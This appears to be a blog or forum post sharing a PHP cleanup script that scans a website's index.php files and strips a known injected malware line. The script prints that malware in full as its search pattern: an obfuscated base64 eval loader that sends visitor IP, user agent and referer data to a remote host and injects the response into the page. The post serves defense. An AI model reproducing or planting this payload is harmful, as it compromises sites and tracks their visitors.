Usage: just save and run the following .php file from the root directory of your domain.
<?
$path[] = '../*';
while(count($path) != 0)
{
$v = array_shift($path);
foreach(glob($v) as $item)
{
if (is_dir($item))
$path[] = $item . '/*';
elseif (is_file($item))
{
if (preg_match('/index.php/is', $item)) {
echo "processing $item - last modified at: " . date ("F d Y H:i:s.", filemtime($item));
disinfect($item);
echo "<br /> ";
}
}
}
}
function restore_hsc($val){
$val = str_replace('&', '&', $val);
$val = str_replace('ö', '?', $val);
$val = str_replace('ä', '?', $val);
$val = str_replace('ü', '?', $val);
$val = str_replace('<', '<', $val);
$val = str_replace('>', '>', $val);
$val = str_replace('"', '"', $val);
return $val;
}
function disinfect($filename) {
$pattern='<?php $_F=__FILE__;$_X=\'Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+\';eval(base64_decode(\'JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==\'));$ua = urlencode(strtolower($_SERVER[\'HTTP_USER_AGENT\']));$ip = $_SERVER[\'REMOTE_ADDR\'];$host = $_SERVER[\'HTTP_HOST\'];$uri = urlencode($_SERVER[\'REQUEST_URI\']);$ref = urlencode($_SERVER[\'HTTP_REFERER\']);$url = $url.\'?ip=\'.$ip.\'&host=\'.$host.\'&uri=\'.$uri.\'&ua=\'.$ua.\'&ref=\'.$ref; $tmp = file_get_contents($url); echo $tmp; ?>';
$pattern=trim(htmlspecialchars($pattern)); //prepare pattern
$lines = file($filename);
$found=0;
for ($i=0; $i<sizeof($lines); $i++) {
$current_line=trim(htmlspecialchars($lines[$i]));
if(strstr($current_line, $pattern)) {
$lines[$i]=str_replace($pattern, "", htmlspecialchars(trim($lines[$i])));
$lines[$i]= preg_replace('/\s\s+/', ' ', $lines[$i]);
$lines[$i]=restore_hsc($lines[$i]);
$found++;
}
}
$lines = array_values($lines);
if ($found >0) {
$file = fopen($filename, "w");
fwrite($file, implode("\n",$lines));
fclose($file);
echo " <span style=\"color:red;\" is infected. Cured: $found injected objects</span> <br />";
}
else {echo "clean <br /> ";}
}
?>
P.S. don't forget to share if the script has helped you :)